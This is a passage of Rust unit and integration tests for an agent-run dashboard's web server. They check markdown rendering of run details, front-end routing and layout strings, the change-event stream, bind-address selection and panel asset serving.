11384                crate::config::Config::default(),
11385            );
11386            state.status = status;
11387            let v = serde_json::to_value(RunDetailView::of(
11388                state,
11389                crate::run::Liveness::Unknown,
11390                None,
11391                None,
11392                None,
11393            ))
11394            .unwrap();
11395            assert_eq!(v["done"], done, "{status:?}");
11396        }
11397    }
11398
11399    /// The first node of a markdown block holds a `strong` somewhere.
11400    fn has_strong(nodes: &[md::Node]) -> bool {
11401        serde_json::to_string(nodes).unwrap().contains("strong")
11402    }
11403
11404    #[test]
11405    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11406        let mut state = RunState::new(
11407            std::path::PathBuf::from("/repo"),
11408            "main".to_owned(),
11409            "abc".to_owned(),
11410            "x".to_owned(),
11411            crate::config::Config::default(),
11412        );
11413        let proposal = |approach: &str| {
11414            serde_json::json!({
11415                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11416            })
11417        };
11418        state.advice = Some(
11419            serde_json::from_value(serde_json::json!({
11420                "records": [
11421                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11422                     "proposal": proposal("do **this**")},
11423                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11424                ],
11425                "synthesis": "- one\n- **two**\n\n`code`",
11426            }))
11427            .unwrap(),
11428        );
11429        state.candidates = serde_json::from_value(serde_json::json!([
11430            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11431             "summary": "did **it**"},
11432            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11433        ]))
11434        .unwrap();
11435        // Recorded in ascending severity, the reverse of how the page sorts
11436        // them: the arrays must follow the record, not the display.
11437        state.reviews = serde_json::from_value(serde_json::json!([{
11438            "round": 1, "head": "h",
11439            "reviews": [{
11440                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11441                "findings": [
11442                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
11443                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11444                ],
11445            }],
11446            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11447            "fix": {"agent": "a", "notes": "fixed **it**",
11448                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11449        }, {"round": 2, "head": "h2", "reviews": []}]))
11450        .unwrap();
11451
11452        let v = serde_json::to_value(RunDetailView::of(
11453            state,
11454            crate::run::Liveness::Unknown,
11455            None,
11456            None,
11457            None,
11458        ))
11459        .unwrap();
11460
11461        let strong = |p: &str| {
11462            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11463            assert!(n.to_string().contains("strong"), "{p}: {n}");
11464        };
11465        strong("/advice_md/synthesis");
11466        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11467        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11468        strong("/advice_md/approaches/0");
11469        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11470        strong("/candidate_summaries_md/0");
11471        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11472        strong("/reviews_md/0/reviewers/0/summary");
11473        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11474        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11475        assert!(f[1].to_string().contains("strong"));
11476        strong("/reviews_md/0/reconsideration/0");
11477        strong("/reviews_md/0/fix/notes");
11478        strong("/reviews_md/0/fix/rejected/0");
11479        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11480        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11481        // The raw strings stay, and no schema moved.
11482        assert_eq!(v["candidates"][0]["summary"], "did **it**");
11483        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11484    }
11485
11486    #[test]
11487    fn a_run_without_advice_has_no_advice_md() {
11488        let state = RunState::new(
11489            std::path::PathBuf::from("/repo"),
11490            "main".to_owned(),
11491            "abc".to_owned(),
11492            "x".to_owned(),
11493            crate::config::Config::default(),
11494        );
11495        let p = run_prose_md(&state);
11496        assert!(p.advice_md.is_none());
11497        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11498    }
11499
11500    #[test]
11501    fn a_question_view_carries_markdown_for_each_thread_turn() {
11502        let home = TempDir::new().unwrap();
11503        let store = ask::Questions::at(home.path().join("questions"));
11504        let mut q = Question::new(
11505            "run".to_owned(),
11506            "implement".to_owned(),
11507            "impl-A".to_owned(),
11508            "which?".to_owned(),
11509            String::new(),
11510            Vec::new(),
11511        );
11512        q.say("plain words").unwrap();
11513        q.reply("use **this**", Vec::new()).unwrap();
11514        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11515        let bodies = &v["thread_bodies_md"];
11516        assert_eq!(bodies.as_array().unwrap().len(), 2);
11517        assert!(!bodies[0].to_string().contains("strong"));
11518        assert!(bodies[1].to_string().contains("strong"));
11519    }
11520
11521    #[test]
11522    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11523        // The land panel defers to `run.status` for merged, and labels a
11524        // recorded-open PR on any finished run (superseded, blocked, ...) as
11525        // last seen, never as live state.
11526        assert!(APP_JS.contains("function landView(run, raw) {"));
11527        assert!(
11528            APP_JS.contains(
11529                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11530            )
11531        );
11532        assert!(APP_JS.contains("const pr = landView(run, raw);"));
11533        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11534        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11535        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11536    }
11537
11538    #[test]
11539    fn live_runs_are_never_hidden_or_folded_as_superseded() {
11540        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
11541        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11542        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11543        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11544    }
11545
11546    #[test]
11547    fn review_rounds_label_a_distinct_verified_head() {
11548        assert!(APP_JS.contains("round.verified_head"));
11549        assert!(APP_JS.contains("verified HEAD"));
11550        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11551    }
11552
11553    #[test]
11554    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11555        // A blocked task's chip and note must not fall back to a queued-like
11556        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
11557        // itself by e11fc58 but never checked here.
11558        assert!(APP_JS.contains("blocked: { glyph:"));
11559        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11560
11561        // `blocked_by` mixes task ids and question ids in the same list, and
11562        // the client can only tell them apart by checking each id against
11563        // what it actually knows - never by guessing from the id's shape.
11564        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11565        assert!(
11566            APP_JS.contains(
11567                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11568            ),
11569            "the note line must name what a blocked task is waiting on, not just that it is blocked"
11570        );
11571        // The classification must key off `status_str`, never off `blocked_by`
11572        // or `block_reason` merely being present - both can survive briefly
11573        // on a task a hold or a dead daemon just moved off `blocked`.
11574        assert!(APP_JS.contains("if (status === \"blocked\") {"));
11575
11576        // A question a task is blocked on gets its own node in the same
11577        // dependency graph, not just a task-shaped node with nothing known
11578        // about it.
11579        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11580        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11581        assert!(
11582            APP_JS.contains("location.hash = \"#/questions\";"),
11583            "a question node must jump to the Questions screen, not pretend to be a task"
11584        );
11585
11586        // `Task::answers` - decisions already made - are shown as a record on
11587        // the card, the same disclosure style as the full instruction.
11588        assert!(APP_JS.contains("Resolved questions"));
11589        assert!(APP_JS.contains("r.answersList.append("));
11590        assert!(APP_CSS.contains(".task-answers"));
11591        {
11592            let start = APP_JS
11593                .find("function updateTalkTaskRow")
11594                .expect("updateTalkTaskRow");
11595            let body = &APP_JS[start..];
11596            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11597            assert!(
11598                body.contains(
11599                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11600                ),
11601                "a chat-filed task row must link to the task page"
11602            );
11603            assert!(
11604                !body.contains("#/runs/") && !body.contains("#/queue/"),
11605                "the row must not branch to a run or the queue card"
11606            );
11607            assert!(APP_CSS.contains(".talk-task-link"));
11608        }
11609    }
11610
11611    #[test]
11612    fn a_task_notification_links_to_the_task_page() {
11613        // A task notice opens the task detail page, not the Backlog card.
11614        let start = APP_JS
11615            .find("function noticeLink(")
11616            .expect("noticeLink exists");
11617        let body = &APP_JS[start..];
11618        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11619        assert!(
11620            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11621            "a task notice's link must target the task page"
11622        );
11623        assert!(
11624            !body.contains("#/queue/"),
11625            "regression: the task link must not go back to the Backlog route"
11626        );
11627        assert!(
11628            APP_JS.contains(
11629                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11630            ),
11631            "`#/tasks/<id>` must parse into the task route"
11632        );
11633
11634        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
11635        assert!(
11636            APP_JS.contains(
11637                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11638            ),
11639            "`#/queue/<id>` must parse into a route carrying that id"
11640        );
11641
11642        // And the Backlog view has to actually land on the card once it can
11643        // - see consumeQueueFocus(), which renderQueue() calls on every pass
11644        // so a focus set before the queue has loaded is retried once it has.
11645        assert!(APP_JS.contains("state.queueFocus = route.id;"));
11646        assert!(APP_JS.contains("function consumeQueueFocus()"));
11647        assert!(APP_JS.contains("jumpToTask(id)"));
11648    }
11649
11650    /// Chat rows are two lines at every width: the title alone, then the
11651    /// shrinkable secondary info.
11652    #[test]
11653    fn chat_rows_put_the_title_alone_on_the_first_line() {
11654        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
11655        assert!(APP_CSS.contains(
11656            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11657        ));
11658        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11659        assert!(APP_JS.contains("class: \"badge talk-unread\""));
11660    }
11661
11662    #[test]
11663    fn run_rows_put_the_title_alone_on_the_first_line() {
11664        assert!(
11665            APP_CSS.contains(
11666                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
11667            )
11668        );
11669        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11670        assert!(APP_JS.contains("class: \"card run-card\""));
11671        assert!(APP_JS.contains("class: \"repo run-id\""));
11672    }
11673
11674    /// Wide screens get a master/detail layout built from the views a phone
11675    /// drills into. These are string assertions: they pin the contract between
11676    /// the three assets, not how it looks.
11677    #[test]
11678    fn wide_screens_show_list_and_preview_side_by_side() {
11679        // One breakpoint, spelled the same in the script and the stylesheet.
11680        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11681        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11682        assert!(APP_CSS.contains("main[data-split]"));
11683        assert!(APP_CSS.contains("body[data-split]"));
11684
11685        // The route -> panes table, and a narrow screen opting out of it.
11686        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
11687        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11688        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11689        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11690        assert!(INDEX_HTML.contains("id=\"split-empty\""));
11691
11692        // Selection is derived from the route, and only ever paints a row.
11693        assert!(APP_JS.contains("function markSelected() {"));
11694        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11695        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11696        // The dense row must override the stacked card the 720px block sets up.
11697        assert!(
11698            APP_CSS.contains(
11699                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11700            )
11701        );
11702
11703        // Independent scrolling: the page stops scrolling, each pane does.
11704        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11705        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11706        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11707        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11708
11709        // A refresh must never navigate: the loaders still check that their
11710        // subject is the one on screen, and crossing the breakpoint only
11711        // re-reads the hash.
11712        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11713        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11714        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11715        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11716
11717        // The panel sandbox and its CSP are untouched by any of this.
11718        assert!(APP_JS.contains("sandbox: \"\""));
11719        assert!(!APP_JS.contains("sandbox: \"allow"));
11720    }
11721
11722    #[test]
11723    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11724        // consumeQueueFocus() clears an active Backlog search before it can
11725        // scroll to the target card (the sections list is hidden while a
11726        // search is showing), by recursing back into renderQueue(). The
11727        // fixer's first cut nulled state.queueFocus before that recursive
11728        // call, so the second pass saw nothing to jump to and the jump was
11729        // silently dropped whenever a notification's link was opened with a
11730        // stale search still active. state.queueFocus must only be cleared
11731        // right before jumpToTask() actually runs.
11732        assert!(
11733            APP_JS.contains(
11734                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
11735            ),
11736            "the search-clearing branch must run before state.queueFocus is cleared, or the \
11737             recursive renderQueue() call has nothing left to jump to"
11738        );
11739        assert!(
11740            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11741            "state.queueFocus must be cleared only once the jump has landed, so a card that \
11742             arrives later still gets it"
11743        );
11744        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11745        assert!(APP_JS.contains("is not in the current Backlog."));
11746        assert!(APP_JS.contains("li.card[data-task-id=\""));
11747        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11748        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11749        assert!(APP_CSS.contains(".card-permalink"));
11750        assert!(APP_CSS.contains(".queue-focus-status"));
11751        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11752    }
11753
11754    #[test]
11755    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11756        // The task's own repro: only the link text inside .notice-meta was
11757        // clickable, so a tap on the message, the timestamp, or the card's
11758        // padding did nothing - on a phone that reads as "the card doesn't
11759        // work" even though the tiny link inside it did. Mark read / Dismiss
11760        // must keep working independently of this: `.closest("a, button")`
11761        // is what lets a tap that actually lands on those elements fall
11762        // through instead of being hijacked into a navigation.
11763        assert!(
11764            APP_JS.contains(
11765                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11766            ),
11767            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11768        );
11769    }
11770
11771    #[test]
11772    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11773        assert!(
11774            APP_JS.contains("round.verified_head !== round.head"),
11775            "a round that verified an earlier commit must be visibly distinct from one that \
11776             verified the head reviewers are looking at now"
11777        );
11778        assert!(
11779            APP_JS.contains("round.verified_at"),
11780            "when a check ran must be on the wire, not just which commit"
11781        );
11782        assert!(
11783            APP_JS.contains("resource_blocked"),
11784            "a command magi never got to run (shared build cache contention) must not render \
11785             the same as a command that ran and failed"
11786        );
11787    }
11788
11789    #[test]
11790    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11791        // Every KPI tile but Total runs and Completion names an exact
11792        // RunStatus and hands it to openRunsFiltered(), which is what wires
11793        // the click into state.runsFilter.status (matchesFilter's own
11794        // status check) rather than the coarser runsStateFilter chips. Each
11795        // status literal here must be one of the strings runSection() (and
11796        // isStale()) actually compare a run's own `status` field against -
11797        // a status this dashboard invented would filter to nothing.
11798        assert!(
11799            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11800            "every KPI tile built through statusTile() must route its click through \
11801             openRunsFiltered, the single place that sets the Runs filter"
11802        );
11803        for (label, status) in [
11804            ("Merged", "merged"),
11805            ("Ready", "ready"),
11806            ("Blocked", "blocked"),
11807            ("Stalled", "stalled"),
11808        ] {
11809            let call = format!("statusTile(\"{label}\", t.{status}, ");
11810            assert!(
11811                APP_JS.contains(&call),
11812                "expected the {label} KPI tile built via {call}..."
11813            );
11814            assert!(
11815                APP_JS.contains(&format!("status === \"{status}\"")),
11816                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11817                 compare a run against, not one invented only for the stats tile"
11818            );
11819        }
11820        assert!(
11821            APP_JS.contains("function openRunsFiltered(status)"),
11822            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11823        );
11824        assert!(
11825            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11826            "matchesFilter must gate on the exact status a KPI tile named"
11827        );
11828        // applyRoute() only flips which view is visible for a plain `#runs`
11829        // hash - it does not itself redraw the list (see applyRoute's own
11830        // handling below) - so openRunsFiltered must call renderRuns()
11831        // itself, and must call applyRoute() too so the view flips even
11832        // when the hash string doesn't change (the operator may already be
11833        // on the Runs view when a tile is tapped, which fires no
11834        // hashchange event at all).
11835        assert!(
11836            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
11837            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11838             hashchange event that may never fire"
11839        );
11840    }
11841
11842    #[test]
11843    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11844        // A stats tile can leave state.runsFilter.status set to something
11845        // done-by-construction (e.g. "merged") - picking "Active" afterward
11846        // must drop it the same way an incompatible tree section is already
11847        // dropped, or the Runs list renders permanently empty with no way
11848        // for the operator to tell why.
11849        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11850        assert!(
11851            APP_JS.contains(
11852                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
11853            ),
11854            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11855             guard for an incompatible tree section"
11856        );
11857    }
11858
11859    #[test]
11860    fn every_stats_queue_tile_names_a_real_queue_section() {
11861        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
11862        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
11863        // (consumeQueueSectionFocus finds no matching <details> and drops
11864        // the focus) rather than fail loudly, so pin every key against the
11865        // section list it has to resolve against.
11866        assert!(
11867            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11868            "every queue tile built through sectionTile() must route its click through \
11869             openQueueSectionFocus"
11870        );
11871        for key in ["upnext", "running", "done", "held", "blocked"] {
11872            assert!(
11873                APP_JS.contains(&format!("{{ key: \"{key}\",")),
11874                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11875            );
11876        }
11877        // Queued and Failed intentionally both resolve to "upnext" - the
11878        // same section queueSection() itself files them under - rather than
11879        // getting a section each.
11880        for line in [
11881            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11882            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11883            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11884            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11885            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11886            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11887        ] {
11888            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11889        }
11890    }
11891
11892    #[test]
11893    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11894        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
11895        // above for the section-focus channel a stats queue tile drives:
11896        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
11897        // through the stale-search-clear recursion into renderQueue(), and
11898        // clear it only once revealQueueSection() is actually about to run -
11899        // the same trap that once silently dropped a task-focus jump.
11900        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11901        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11902        assert!(APP_JS.contains("function revealQueueSection(details)"));
11903        assert!(
11904            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
11905            "renderQueue() must consume both focus channels on every pass"
11906        );
11907        assert!(
11908            APP_JS.contains(
11909                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
11910            ),
11911            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11912             the recursive renderQueue() call has nothing left to reveal"
11913        );
11914        assert!(
11915            APP_JS.contains(
11916                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
11917            ),
11918            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11919        );
11920        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
11921        // task-focus form of the hash - a plain `#queue` navigation only
11922        // flips which view is visible. openQueueSectionFocus() must
11923        // therefore call renderQueue() itself, and applyRoute() too so the
11924        // view flips even when the hash doesn't change (the Backlog may
11925        // already be open when a tile is tapped, firing no hashchange
11926        // event at all).
11927        assert!(
11928            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
11929            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11930             hashchange event that may never fire"
11931        );
11932    }
11933
11934    #[tokio::test]
11935    async fn the_change_stream_announces_the_current_revisions_on_connect() {
11936        let f = Fixture::start().await;
11937
11938        let mut socket = tokio::net::TcpStream::connect(f.addr)
11939            .await
11940            .expect("connect");
11941        socket
11942            .write_all(
11943                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11944            )
11945            .await
11946            .expect("write request");
11947
11948        // Read until the first event arrives rather than to end of stream: the
11949        // stream is endless by design, which is the point of the route.
11950        let mut seen = String::new();
11951        let mut buf = [0u8; 1024];
11952        while !seen.contains("event: change") {
11953            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11954                .await
11955                .expect("the stream must speak within five seconds")
11956                .expect("read");
11957            assert!(read > 0, "the server closed the change stream: {seen}");
11958            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11959        }
11960
11961        assert!(
11962            seen.to_lowercase()
11963                .contains("content-type: text/event-stream"),
11964            "the browser only reconnects automatically for a real SSE stream: {seen}"
11965        );
11966        let data = seen
11967            .lines()
11968            .find_map(|l| l.strip_prefix("data:"))
11969            .expect("a data line");
11970        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11971        assert!(
11972            payload["queue_rev"].is_u64()
11973                && payload["runs_rev"].is_u64()
11974                && payload["questions_rev"].is_u64()
11975                && payload["talks_rev"].is_u64()
11976                && payload["notifications_rev"].is_u64()
11977                && payload["loop_rev"].is_u64(),
11978            "the client needs one revision per store to know what to refetch, \
11979             and `talks_rev` is the only notification a standing talk gets - a \
11980             phone whose radio slept through a turn learns about it here, as \
11981             does one whose operator started the loop from another device: \
11982             {payload}"
11983        );
11984
11985        // The front end re-polls health on a timer and on wake, and takes the
11986        // revisions from that answer whenever the stream is not up. So health
11987        // has to carry every key the stream carries: a phone on a link that
11988        // will not hold an SSE connection is exactly the phone that must still
11989        // notice a question, and a missing key there is not a 500 but a UI
11990        // that quietly stops updating.
11991        let health = f.get("/api/health").await.json();
11992        for key in [
11993            "queue_rev",
11994            "runs_rev",
11995            "questions_rev",
11996            "talks_rev",
11997            "notifications_rev",
11998            "loop_rev",
11999        ] {
12000            assert!(
12001                health[key].is_u64(),
12002                "health is the change stream's fallback and is missing `{key}`: {health}"
12003            );
12004        }
12005    }
12006
12007    #[tokio::test]
12008    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12009        let f = Fixture::start().await;
12010        let before = f.get("/api/health").await.json()["talks_rev"]
12011            .as_u64()
12012            .expect("talks_rev");
12013
12014        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12015        std::thread::sleep(Duration::from_millis(10));
12016        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12017        on_disk.turns.push(crate::talk::Turn {
12018            who: crate::talk::Who::Operator,
12019            body: "a new turn".to_owned(),
12020            at: Timestamp::now(),
12021            attachments: Vec::new(),
12022            usage: None,
12023        });
12024        f.talks().put(&mut on_disk).expect("record a turn");
12025
12026        let after = f.get("/api/health").await.json()["talks_rev"]
12027            .as_u64()
12028            .expect("talks_rev");
12029        assert_ne!(
12030            before, after,
12031            "a phone must be able to notice a talk's reply without polling every store"
12032        );
12033    }
12034
12035    #[test]
12036    fn bind_reads_back_from_the_spelling_the_cli_prints() {
12037        // The CLI shows the default in `--help` and parses whatever comes
12038        // back, so the two directions have to agree or `--bind auto` breaks
12039        // the moment someone copies the help text.
12040        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12041            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12042        }
12043        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12044        assert!("everywhere".parse::<Bind>().is_err());
12045    }
12046
12047    #[test]
12048    fn an_explicit_bind_address_is_taken_verbatim() {
12049        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12050
12051        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12052
12053        assert_eq!(addr, asked);
12054        assert!(
12055            warning.is_none(),
12056            "an operator who named an address gets no lecture"
12057        );
12058    }
12059
12060    #[test]
12061    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12062        let (addr, warning) = resolve_bind(&Bind::Auto);
12063
12064        // This has to hold on a CI runner with no `tailscale` and on a dev box
12065        // with one, so the invariant asserted is the one shared by both
12066        // outcomes: the address is either a real tailnet address offered
12067        // without comment, or loopback with an explanation. What must never
12068        // happen is a silent fallback - an operator told "listening on
12069        // 127.0.0.1" with no reason would go looking for a firewall.
12070        match addr {
12071            IpAddr::V4(ip) if is_tailnet(&ip) => {
12072                assert!(warning.is_none(), "a tailnet address needs no warning");
12073            }
12074            other => {
12075                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12076                let warning = warning.expect("a fallback has to explain itself");
12077                assert!(
12078                    warning.contains("127.0.0.1") && warning.contains("local-only"),
12079                    "the warning says what happened and what it costs: {warning}"
12080                );
12081            }
12082        }
12083    }
12084
12085    #[test]
12086    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12087        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
12088        // boundary cases are what stop us binding to some other tool's idea of
12089        // an address.
12090        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12091        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12092        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12093        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12094        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12095    }
12096
12097    #[test]
12098    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12099        let ids = vec![
12100            "20260902-140501-aaaa".to_owned(),
12101            "20260902-140502-aabb".to_owned(),
12102        ];
12103
12104        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12105        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12106        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12107
12108        assert_eq!(missing.status, StatusCode::NOT_FOUND);
12109        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12110        assert_eq!(short, "20260902-140502-aabb");
12111    }
12112    #[tokio::test]
12113    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12114        // The prompt tells agents to reference attachments by bare filename.
12115        // A document served at `.../panel` resolves `shot.png` against its own
12116        // directory, i.e. `.../shot.png`, which is not the asset route - so a
12117        // panel written exactly as instructed showed broken images. Caught by
12118        // looking at a real one in a browser, not by reading the code.
12119        let fx = Fixture::start().await;
12120        let id = panel(
12121            &fx,
12122            "<img src=\"shot.png\">",
12123            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12124        );
12125
12126        // The frame's own URL ends in a filename, so its siblings are reachable.
12127        let doc = fx
12128            .get(&format!("/api/questions/{id}/panel/index.html"))
12129            .await;
12130        assert_eq!(doc.status, 200, "{}", doc.body);
12131        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12132
12133        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12134        assert_eq!(sibling.status, 200, "{}", sibling.body);
12135        assert_eq!(sibling.header("content-type"), Some("image/png"));
12136        assert_eq!(
12137            sibling.header("content-security-policy"),
12138            Some(PANEL_CSP),
12139            "the sibling route must carry the same policy as the asset route"
12140        );
12141
12142        // The original spelling keeps working: HEAD on it is how the front end
